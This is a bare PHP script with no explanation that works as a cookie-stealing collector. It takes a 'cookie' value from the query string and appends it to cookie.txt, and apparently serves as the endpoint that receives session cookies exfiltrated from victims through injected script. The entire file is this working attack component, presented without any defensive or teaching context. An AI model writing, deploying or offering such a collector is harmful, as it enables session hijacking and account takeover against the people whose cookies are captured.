<?php
if (isset($_GET['cookie'])) {
 $Handle = fopen('cookie.txt', 'a') or die("can't open file");	
 $Data = $_GET['cookie']."\n"; 
 fwrite($Handle, $Data); 
 fclose($Handle); 
}
?>